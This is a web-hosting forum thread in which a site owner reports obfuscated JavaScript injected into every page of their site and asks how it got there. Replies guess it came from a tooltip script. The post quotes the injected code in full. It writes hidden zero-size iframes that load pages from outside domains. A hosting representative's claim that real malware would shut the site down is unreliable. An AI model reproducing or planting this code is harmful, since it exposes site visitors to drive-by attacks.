A REAL addition to my website

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts
  • Sloweatin
    Corporal

    • Nov 2008
    • 18

    A REAL addition to my website

    This wonderful little piece of malware was added to every page of my website...how nice. But not only that a russian porn site was redirecting from my site to theirs. I now had to re publish all my pages as I didn't know how to take the code out of all the pages globally.

    The big question is..Does the server have an anti malware or anti vrus that should be detecting this type of thing?

    the POS code was this...</body>
    </html><script language=javascript>document.write(unescape('%3C%7 3%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22% 6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74 %69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3 D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74% 72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B %20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%3 0%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B% 29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68 %61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%6 4%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28% 73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F %63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%7 3%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69% 70%74%3E'));dF('%264Djgsbnf%2631tsd%264E%2633iuuq% 264B00ebtsfuplgjo/dpn0joefy/qiq%2633%2631xjeui%264E%26331%2633%2631ifjhiu%264E %26331%2633%2631tuzmf%264E%2633ejtqmbz%264Bopof%26 4C%2633%264F%264D0jgsbnf%264F1')</script><script> eval(unescape("document.write%28String.fromCharCod e%2860%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C1 15%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C 58%2C47%2C47%2C100%2C97%2C115%2C114%2C101%2C116%2C 111%2C107%2C102%2C105%2C110%2C46%2C99%2C111%2C109% 2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C10 4%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C104%2C 61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C103%2C1 04%2C116%2C61%2C34%2C48%2C34%2C32%2C115%2C116%2C12 1%2C108%2C101%2C61%2C34%2C100%2C105%2C115%2C112%2C 108%2C97%2C121%2C58%2C110%2C111%2C110%2C101%2C59%2 C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C 101%2C62%29%29%3B"));</script><script> eval(unescape("document.write%28String.fromCharCod e%2860%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C1 15%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C 58%2C47%2C47%2C100%2C97%2C115%2C114%2C101%2C116%2C 111%2C107%2C102%2C105%2C110%2C46%2C99%2C111%2C109% 2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C10 4%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C104%2C 61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C103%2C1 04%2C116%2C61%2C34%2C48%2C34%2C32%2C115%2C116%2C12 1%2C108%2C101%2C61%2C34%2C100%2C105%2C115%2C112%2C 108%2C97%2C121%2C58%2C110%2C111%2C110%2C101%2C59%2 C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C 101%2C62%29%29%3B")); </script><script>document.write(unescape("%3Ciframe% 20src%3D%22http%3A%2F%2Fdasretokfin.com%2Findex.ph p%22%20width%3D%220%22%20height%3D%220%22%20style% 3D%22display%3Anone%3B%22%3E%3C%2Fiframe%3E")); </script><script language="javascript">
    document.write( unescape( '%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65% 3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%0D%0A%64 %6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%6 9%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A% 2F%2F%35%72%75%62%6C%65%69%2E%63%6F%6D%2F%75%6E%69 %71%75%65%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%6 9%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22% 30%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79 %3A%6E%6F%6E%65%3B%22%3E%3C%2F%69%66%72%61%6D%65%3 E%27%29%3B%0D%0A%3C%2F%73%63%72%69%70%74%3E%0D%0A' ) );
    </script>

    now how did this get on my site???????

    www.churchofrealtruth.com
  • gacampers
    Corporal

    • Mar 2009
    • 12

    #2
    Re: A REAL addition to my website

    Kind of scary that it could be added without you putting you it there.
    But you get no response on how this could happen.

    Comment

    • Collectors-info
      General

      • Feb 2006
      • 8703

      #3
      Re: A REAL addition to my website

      Its been uploaded with something on your page called WZ tool tip.js
      Can only assume that it is something you added to the site, possibly the floating menu.
      Regards Chris.

      Collectables, Collecting, collectors-info.com

      www.chrismorris.co.uk

      House build project

      Comment

      • Karen Mac
        General

        • Apr 2006
        • 8332

        #4
        Re: A REAL addition to my website

        Well if it was malware or a virus it most likely WOULD shut u down.. but it looks like a bad copy and paste job and picking up bad coding.

        Very likely that jumping about menu thing.. very annoying too.

        Karen

        VodaHost

        Your Website People!
        1-302-283-3777 North America / International
        02036089024 / United Kingdom
        291916438 / Australia

        ------------------------

        Top 3 Best Sellers

        Web Hosting - Unlimited disk space & bandwidth.

        Reseller Hosting - Start your own web hosting business.

        Search Engine & Directory Submission - 300 directories + (Google,Yahoo,Bing)


        Comment

        Working...
        X